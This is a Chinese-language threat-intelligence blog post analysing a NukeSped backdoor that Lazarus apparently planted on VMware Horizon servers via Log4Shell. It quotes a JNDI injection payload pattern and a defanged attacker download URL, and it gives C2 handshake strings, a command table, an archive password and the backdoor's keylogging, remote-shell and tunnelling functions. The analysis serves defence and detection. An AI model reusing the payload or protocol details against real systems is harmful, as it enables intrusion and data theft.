1. 概述
2021年12月9日晚,基于Java的日志记录程序Log4j的一个远程执行漏洞(CVE-2021-44228)POC被公开。攻击者使用${}关键标识符触发JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞并成功利用此漏洞在目标服务器上执行任意代码。
今年4月份,有安全研究人员发现Lazarus利用Log4jShell漏洞入侵VMWare Horizon服务器,攻击者使用类似于${jndi:Idap://example} 的payload然后启动powershell从hxxp://185.29.8.18/htory.exe下载恶意程序,该命令由ws_TomcatService.exe生成。
2. 详细分析
2.1 splwow64.exe
该恶意程序由攻击者在投递在未打安全补丁的VMWare Horizon服务器,伪装成微软的打印机相关程序splwow64.exe。
2.2 NukeSped分析
NuKeSped是一种后门恶意程序,可以从C&C服务器接收攻击者命令并执行接收到的命令。此次分析的样本为NukeSped的一个变种,从2020年来一直被Lazarus使用。
恶意程序中所有的明文字符串使用RC4算法加密,包括C&C服务器列表和API名称。对于不同类型的RC4解密使用不同的密钥。
1 | 字符串使用密钥: |
NuKeSped可以根据收到的命令执行键盘记录、屏幕截屏和远程cmdshell等功能。这些功能分别使用不同的类来实现。
1 | ModuleUpdate |
2.3.1 C&C通信
1. 连接验证
使用常见的socket网络编程与C&C服务器进行通信, 建立连接后发送数据”HTTP 1.1 /member.php SSL3.4”到C&C服务器, 伪装成SSL通信方式。
当C&C返回数据”HTTP 1.1 200 OK SSL2.1”时,验证通过进行下一步操作,否则断开与C&C服务器的连接。
从这时起, 使用固定格式的数据用RC4加密算法加密后发送到C&C服务器。
1 | Struct format{ |
发送受害者标识到C&C服务器,还要发送额外的数据到C&C服务器,用于告知C&C服务器可以派发指令。
2. 接收数据
由于从C&C服务器下发的数据为加密状态,因此需要先使用RC4算法解密。
3. 指令处理
解密后的数据包为固定格式,第一个字节为模块ID,第二个字节为该模块要执行的命令ID,第三个字节后面为要执行的命令需要的参数数据。
NukeSped会通过模块ID来确定由哪个模块,命令ID来确定要执行的命令。
2.3.2 模块功能分析
1. ModuleUpdate
该模块ID为1,从类名上看应该是模块更新,但其实并没有模块更新的功能。该模块接收三种指令。
cmd为0时,发送数据”\x01\x00\x01\x00”到C&C服务器,告知C&C服务器操作已经执行完成。cmd为0x20时,退出程序。Cmd为0x30时将自删除代码写入文件”edg88DE.bat”并隐秘执行该文件。
2. ModuleInformation
该模块ID为2,主要功能为从受害者机器上收集计算机名、用户名、操作系统信息和网络适配器信息。
收集计算机名
收集受害者机器的计算机名并发送到C&C服务器。
收集用户名
收集受害者机器的计算机名并发送到C&C服务器。
3. 收集操作系统版本信息
使用函数RtlGetVersion、GetNativeSystemInfo和GetSystemMetrics获取操作系统相关信息,其中部分数据的收集需要指定版本的操作系统。
收集的数据保存到结构体为os_info的buf并上传到C&C服务器。
1 | struct os_info |
收集网络适配器信息
恶意程序通过函数GetAdaptersInfo收集网络适配器信息并保存到结构体为IP_ADAPTER_INFO的buff中,从buff中读取网络适配器描述、硬件地址、与适配器关联的Ipv4地址、DHCP和网关相关信息。
上传网络适配器相关信息时并不是把所有数据打包在一起然后上传,而是根据不同类型分别上传。上传到C&C服务器的数据(未加密)格式如下,其中modID在该模块中值为2。
1 | {modid}{SubCmdID}{dataSize}{data} |
不同SubCmdID收集的数据如下:
SubCmdID | dataSize | 描述 |
---|---|---|
0x33 | 0x40 | 网络适配器描述 |
0x34 | 0x10 | 与网络适配器关联的IPv4地址 |
0x35 | 0x10 | 与网络适配器关联的IPv4掩码 |
0x31 | 0x06 | 网络适配的硬件地址 |
0x36 | 0x10 | 网关的Ipv4地址 |
0x37 | 0x10 | 网关的Ipv4掩码 |
0x38 | 0x10 | DHCP服务器的Ipv4地址 |
0x39 | 0x10 | DHCP服务器的Ipv4掩码 |
0x32 | 0x00 | 告知C&C服务器数据收集结束 |
3. ModuleShell
该模块主要功能为创建远程shell来执行命令, 设置和获取当前进程的工作路径。
1.创建远程shell
使用cmd执行从C&C服务器下发的命令并上传执行结果
2.检测网络连接
检测受害者机器是否能够连接指定的IP地址,并将结果上传到C&C服务器。
4 ModuleFileManager
该模块主要功能为实现一些常见的文件操作。包括创建文件、打开文件和收集文件详细信息。
5 ModuleKeyLogger
该模块主要功能为记录按键记录保存到文件或者发送到C&C服务器。
通过函数来获取当前进程名、当前窗口标题和当前系统时间来标识按键记录归属于哪个进程,当窗口被切换时重新获取。
每隔5秒对处理一次按键记录,由字段bUseLoggerFile来决定时保存到文件还是发送到C&C服务器。
6 ModuleSocksTunnel
顾名思义该模块提供socks隧道功能。从C&C服务器接收到特定地址并建立连接后,它充当C&C服务器与该地址之间的代理。即将从C&C服务器接收到的数据下发到目的地址,将从目的地址接收到的数据下发到C&C服务器。
这将允许攻击者直接与新的攻击目标进行通信,可以通过新的NukeSped来访问。
将从指定IP地址接收的数据发送到C&C服务器。
7 ModuleScreenCapture
该模块主要功能为获取当前屏幕截图并发送到C&C服务器或者接收从C&C下发的位置信息模拟鼠标点击。该模块支持的功能如下图:
屏幕截图代码实现如下:
要将屏幕截图保存为jpg格式,需要判断受害者机器是否支持该编码方式,最后返回jpg编码对应的CLSID。
利用IStream接口来读取图片数据,上传屏幕截图数据到C&C服务器时,首先发送图片数据的大小然后再发送图片数据。
接收从C&C下发的位置信息并将其设置为光标的当前位置,调用函数mouse_event来模拟鼠标的单击或双击等事件。
8. ModuleWebCamera
从模块名上看应该是针对摄像头进行的一些操作,这是NukeSped新增的功能,在以往的版本中并不存在。在该样本中并没有实现该功能,不排除下一版本会投入实际应用中。
9. ModuleUsbDump
该模块主要功能为收集受害者机器文档数据。
读取GDIPFONTC文件信息
通过函数遍历**%appdata%目录下以GDIPFONTC**开头的文件名,将收集到的文件信息保存为结构体usbDumpInfo并上传到C&C服务器。
该类主要是Windows自动加载的内核文件,主要作为字体或者图像的缓存,在这里被NukeSped用于保存收集到的文件信息。
结构体usbDumpInfo定义如下:
1 | struct usbDumpInfo |
创建GDIPFONTC文件
如果受害者机器上有多个分区,则创建文件GDIPFONTC{ticket}.dat,该文件实际上是被使用zlib算法压缩加密的文件,加密密码为:
1 | PJU12345^ |
迭代遍历每个分区下指定格式的文档文件(除了C盘),加密并保存到文件GDIPFONTC{ticket}.dat中。
读取指定文件指定偏移数据
文件名和文件由C&C服务器下发,新建一个线程用于读取文件内容,等待恶意程序执行函数Sleep来触发执行该线程。
C&C通信指令
如无特殊说明以下通信包大小及格式都是指未加密前数据。与C&C通信时使用固定格式:
1 | Struct format{ |
恶意程序使用到的部分指令如下表:
模块ID | 模块名 | subCmdId | 功能描述 |
---|---|---|---|
1 | ModuleUpdate | 0x01 | 告知C&C服务器等待其下发指令 |
2 | ModuleInformation | 0x11 | 发送用户名 |
0x21 | 发送操作版本信息 | ||
0x33 | 上传网络适配器描述 | ||
0x34 | 上传与网络适配器关联的IPv4地址 | ||
0x35 | 上传与网络适配器关联的IPv4掩码 | ||
0x31 | 上传网络适配的硬件地址 | ||
0x36 | 上传网关的Ipv4地址 | ||
0x37 | 上传网关的Ipv4掩码 | ||
0x38 | 上传DHCP服务器的Ipv4地址 | ||
0x39 | 上传DHCP服务器的Ipv4掩码 | ||
0x32 | 告知C&C服务器网络适配器数据收集结束 | ||
0x41 | 上传用户名 | ||
3 | ModuleShell | 0x32 | 创建cmd进程失败 |
0x12 | 远程shell已关闭 | ||
0x11 | 上传远程shell执行结果或者网络检测结果 | ||
0x31 | 上传当前进程的工作目录 | ||
0x32 | |||
4 | ModuleFileManager | 0x10 | 上传驱动器信息 |
0x20 | 上传指定目录下的文件信息 | ||
0x21 | 上传指定目录下的文件信息完成 | ||
0x31 | 删除指定文件成功 | ||
0x32 | 删除指定文件失败 | ||
0x41 | 创建文件成功 | ||
0x44 | 创建文件失败 | ||
0x52 | 打开文件失败 | ||
0x51 | 打开文件成功 | ||
0x55 | 上传文件的创建时间、最后一次写入和访问时间 | ||
0x53 | 分段上传文件数据 | ||
0x54 | 文件上传成功 | ||
0x61 | 执行文件成功 | ||
0x62 | 执行文件失败 | ||
0x71 | 上传指定目录下所有文件的总大小 | ||
0x79 | 上传文件的创建时间、最后一次写入和访问时间 | ||
0x76 | 分段上传文件数据 | ||
0x77 | 文件上传成功 | ||
5 | ModuleKeyLogger | 0x16 | 上传按键记录 |
0x29 | 结束按键记录 | ||
0x26 | 上传 ksecshod文件大小 | ||
0x27 | 上传 ksecshod文件 | ||
0x28 | 结束上传文件 | ||
0x31 | Ksecshod已被删除 | ||
0x22 | 告知C&C服务器使用文件保存按键记录 | ||
0x91 | 上传指定目录(包括子目录)下所有文件的文件总大小 | ||
0x82 | 上传指定目录下的文件信息 | ||
0x83 | 上传文件信息成功 | ||
0x84 | 上传文件信息失败 | ||
6 | ModuleSocksTunnel | 0xA1 | 创建socket隧道失败 |
0xA4 | 将从代理地址收到的数据报发送到C&C服务器 | ||
0xA2 | 准备开始进行隧道通信 | ||
7 | ModuleScreenCapture | 0x12 | 屏幕截图失败 |
0x30 | 上传屏幕截图的图片大小 | ||
0x31 | 分段上传图片 | ||
0x32 | 图片上传完成 | ||
0x21 | 按键模拟点击完成 | ||
8 | ModuleUsbDump | 0x31 | 上GDIPFONTC{ticket}.dat文件信息 |
0x21 | 开始启动usb dump功能 | ||
0x55 | 创建GDIPFONTC{ticket}.dat失败 | ||
0x53 | 上GDIPFONTC{ticket}.dat文件大小 | ||
0x51 | 分段上传文件GDIPFONTC{ticket}.dat | ||
0x56 | 上传文件GDIPFONTC{ticket}.dat | ||
0x52 | 上传文件GDIPFONTC{ticket}.dat成功 | ||
0x61 | 删除指定文件成功 | ||
0x62 | 删除指定文件失败 |
3. ATT&CK矩阵
Tactic | ID | Name | Description |
---|---|---|---|
Exfiltration | T1041 | Exfiltration Over C2 Channel | 通过C&C上传收集信息 |
T1030 | Data Transfer Size Limits | 上传文件或者消息时分块上传 | |
Command and Control | T1090 | Proxy | 实现socket隧道连接作为代理的IP地址 |
T1572 | Protocol Tunneling | 实现socket隧道实现通信 | |
T1095 | Non-Application Layer Protocol | 使用socket与C&C通信 | |
T1008 | Fallback Channels | 有多个备用的C&C地址 | |
T1573 | Encrypted Channel | 通信流量使用RC4算法加密 | |
Collection | T1113 | Screen Capture | 屏幕截图 |
T1056 | Input Capture | 键盘记录 | |
T1074 | Data Staged | 收集的信息暂时存放在本地文件 | |
T1005 | Data from Local System | 遍历本地文件 | |
T1560 | Archive Collected Data | 压缩加密收集到的数据 | |
Discovery | T1124 | System Time Discovery | 记录键盘按键的时间 |
T1016 | System Network Configuration Discovery | 获取网络适配器信息 | |
T1082 | System Information Discovery | 获取操作系统版本信息 | |
File and Directory Discovery | 遍历所有文件和目录 | ||
Defense Evasion | T1036 | Masquerading | 伪装成windwos程序splwow64.exe |
Execution | T1059 | Command and Scripting Interpreter | 执行自删除脚本 |
最后更新: 2024年03月27日 10:51:04
本文链接: http://shxi.cc/post/c44584e3.html
版权声明: 本作品采用 CC BY-NC-SA 4.0 许可协议进行许可,转载请注明出处!